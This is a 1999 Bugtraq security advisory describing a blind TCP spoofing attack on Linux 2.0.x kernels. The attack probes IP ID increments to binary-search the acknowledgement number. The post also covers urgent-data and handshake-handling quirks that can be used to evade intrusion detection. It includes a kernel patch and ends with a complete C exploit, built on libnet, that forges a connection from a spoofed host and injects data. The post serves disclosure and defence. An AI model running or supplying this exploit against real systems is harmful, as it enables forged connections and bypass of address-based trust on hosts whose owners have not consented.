Subject: Linux blind TCP spoofing, act II + others To: BUGTRAQ@SECURITYFOCUS.COM Hello, Thanks to libnids development, some features/bugs in Linux kernel were found. I notified kernel mantainers in May, but they didn't seem interested. 1. Blind TCP spoofing against 2.0.36/37 Let's label a Linux server as A, an attacker's host as B, the spoofed host as C. If the following conditions hold: a) C is down (disabled) b) A is idle; more precisely, during the attack A should not send any packets beside ones generated in response to the packets sent by B c) during the attack, no packet sent from B to A can be dropped by a router then an attacker can spoof a TCP stream connecting A and C. As we see, these conditions are not trivial. However, b) and c) can hold if an attack is conducted during low network traffic period; and there are ways to fulfill a) :) Firstly, let's have a look how Linux 2.0.x reacts to a non-typical TCP segment sent as a third packet of a three way handshake. In the example below we send to a Linux server (A) packets from B with source address set to C. Time packets with forged source address packets sent by the server 0 flags=S,seq=X 1 flags=SA,seq=Y,ack_seq=X+1 2 flags=A,seq=X+1, ack_seq=Y-1000 3 no packet generated ! 4 flags=A,seq=X+1,ack_seq=Y+1000 5 flags=R,seq=Y+1000 a packet IS generated ! 6 flags=A,seq=X+1,ack_seq=Y+1 7 flags=A,seq=Y+1,ack_seq=X+1 socket enters "established" state 8 flags=A,seq=X+1,ack_seq=Y+1000 9 no packet sent ! So, when an attacker sends (as a third packet of tcp handshake) a packet with too small ack_seq, the server sends no packets (doesn't it violate RFC793 ?). When a packet with too big ack_seq is sent, the server sends a packet (with a reset flag). Now let's recall another Linux feature. Many OSes (including Linux) assign to ID field of an outgoing IP datagram consecutive, increasing numbers (we forget about fragmentation here; irrelevant in this case). That enables anyone to determine the number of packets sent by host A: it's enough to ping it, note the value of ID field of received ICMP_REPLY packet, wait x seconds (or perform some other actions), then again ping host A. The difference between ID fields of received ICMP_REPLY packets is equal to (the number of packets sent by A in x second) +1. "Idle portscan" by antirez uses this technique. Having sent an initial TCP segment with SYN flag, our attack will consist of a set of "probes". In each probe, we send a (forged) TCP packet with flags=A and (arbitrary) ack_seq=X, then we send an ICMP_ECHO request, and finally note the ID field of received ICMP_REPLY packet. If this ID field has incremented by 1 since the last time, only one packet were sent by server (ICMP_REPLY), so we must have chosen too small X (that is, ack_seq). If ID field has incremented by 2, two packes were sent (TCP with reset flag and ICMP_REPLY), so we must have chosen too big ack_seq. This way we can perform a binary search in space of ack_seq's, determining exact ack_seq after at most 32 probes. Note that finding correct ack_seq can be verified by sending a probe with previously found too big ack_seq; if connection is in "established" state, no packet will be generated by server. After we have found the Holy Graal of blind spoofers, the correct value of ack_seq, nothing will prevent us from completing 3whs and sending arbitrary data. At the end of this post I enclosed an exploit; don't use it without the permission of the target host's admin. I tested it on 2.0.37, 36 and 30; probably all 2.0.x are affected. It requires libnet (which can be downloaded from www.packetfactory.net). I compiled it on Linux glibc system. The following simple patch (against 2.0.37) enforces sending a reset in response to a packet with too small ack_seq (of course, only when we are in SYN_RECV state). This patch also cures the bug described in point 3. -------------------------CUT HERE-------------------------------------- --- linux-2.0.37/net/ipv4/tcp_input.c.orig Fri Jul 23 17:25:14 1999 +++ linux/net/ipv4/tcp_input.c Fri Jul 23 17:29:43 1999 @@ -2764,7 +2764,18 @@ kfree_skb(skb, FREE_READ); return 0; } - + + if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq) + { + /* + * Quick fix to detect too small ack_seq + * in 3rd packet of 3ws and force a RST segment. + */ + tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255); + kfree_skb(skb, FREE_READ); + return 0; + } + rfc_step6: /* * If the accepted buffer put us over our queue size we -------------------------CUT HERE-------------------------------------- 2. A byte of urgent data can be received in normal data stream. Let's consider the following scenario: Time Client app Server app 0 bind(...), listen(...), accept(...) 1 connect(...) 2 accept(...) returns newsock 3 send(sockfd,"AB",2,MSG_OOB) 4 send(sockfd,"XY",2,MSG_OOB) 5 n=read(newsock,buffer,1024) function read returns 3, buffer contains "ABX", though byte 'B' was marked as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are vulnerable. Note that this behaviour can be exploited to bypass NIDS. 3. Weird handling of 3rd stage of TCP handshake. Time packets sent by a client packets sent by a server 0 flags=S,seq=X 1 flags=SA,seq=Y,ack_seq=X+1 2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz" 3 flags=A,seq=Y+1,ack_seq=X+4 no data is returned to app 4 flags=SA,seq=Y+1,ack_seq=X+4 5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567" 6 flags=A,seq=Y+1,ack_seq=X+8 app receives "4567" which is inconsitent. Either the packet sent in time 2 should be discarded and app should receive "1234567", or app should receive "xyz4567" . Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3). Usually it is not a problem, but IDS developers can be worried. Save yourself, Nergal /* by Nergal */ #include "libnet.h" #include #include int sock, icmp_sock; int packid; unsigned int target, target_port, spoofed, spoofed_port; unsigned long myaddr; int get_id () { char buf[200]; char buf2[200]; int n; unsigned long addr; build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H); build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr, target, 0, 0, buf); do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H); write_ip (sock, buf, IP_H + ICMP_ECHO_H); do { n = read (icmp_sock, buf2, 200); addr = ((struct iphdr *) buf2)->saddr; } while (addr != target); return ntohs (((struct iphdr *) buf2)->id); } static int first_try; int is_bigger () { static unsigned short id = 0, tmp; usleep (10000); tmp = get_id (); if (tmp == id + 1) { id = tmp; return 0; } else if (tmp == id + 2) { id = tmp; return 1; } else { if (first_try) { id = tmp; first_try = 0; return 0; } fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id); exit (1); } } void probe (unsigned int ack) { char buf[200]; usleep (10000); build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } void send_data (unsigned int ack, char *rant) { char * buf=alloca(200+strlen(rant)); build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H); build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant)); write_ip (sock, buf, IP_H + TCP_H + strlen (rant)); } void send_syn () { char buf[200]; build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } #define MESSAGE "Check out netstat on this host :)\n" void send_reset () { char buf[200]; build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } #define LOTS ((unsigned int)(1<<30)) main (int argc, char **argv) { unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr; int i; char myhost[100]; struct hostent *ht; if (argc != 5) { printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]); exit (1); } gethostname (myhost, 100); ht = gethostbyname (myhost); if (!ht) { printf ("Your system is screwed.\n"); exit (1); } myaddr = *(unsigned long *) (ht->h_addr); target = inet_addr (argv[1]); target_port = atoi (argv[2]); spoofed = inet_addr (argv[3]); spoofed_port = atoi (argv[4]); sock = open_raw_sock (IPPROTO_RAW); icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP); if (sock <= 0 || icmp_sock <= 0) { perror ("raw sockets"); exit (1); } packid = getpid () * 256; fprintf(stderr,"Checking for IP id increments\n"); first_try=1; for (i = 0; i < 5; i++) { is_bigger (); sleep(1); fprintf(stderr,"#"); } send_syn (); fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK..."); for (i = 0; i < 33; i++) { fprintf (stderr, "#"); sleep (1); } fprintf (stderr, "\nack_seq accuracy:"); first_try=1; is_bigger(); probe (LOTS); if (is_bigger ()) seq_high = LOTS; else seq_low = LOTS; probe (2 * LOTS); if (is_bigger ()) seq_high = 2 * LOTS; else seq_low = 2 * LOTS; probe (3 * LOTS); if (is_bigger ()) seq_high = 3 * LOTS; else seq_low = 3 * LOTS; seq_toohigh = seq_high; if (seq_high == 0 || seq_low == 0) { fprintf (stderr, "Non-listening port or not 2.0.x machine\n"); send_reset (); exit (0); } do { fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low)); if (seq_high > seq_low) seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2; else seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2; probe (seq_curr); if (is_bigger ()) seq_high = seq_curr; else seq_low = seq_curr; probe (seq_toohigh); if (!is_bigger ()) break; // getchar(); } while ((unsigned int) (seq_high - seq_low) > 1); fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr); send_data (seq_curr, MESSAGE); fprintf (stderr, "Press any key to send reset.\n"); getchar (); send_reset (); }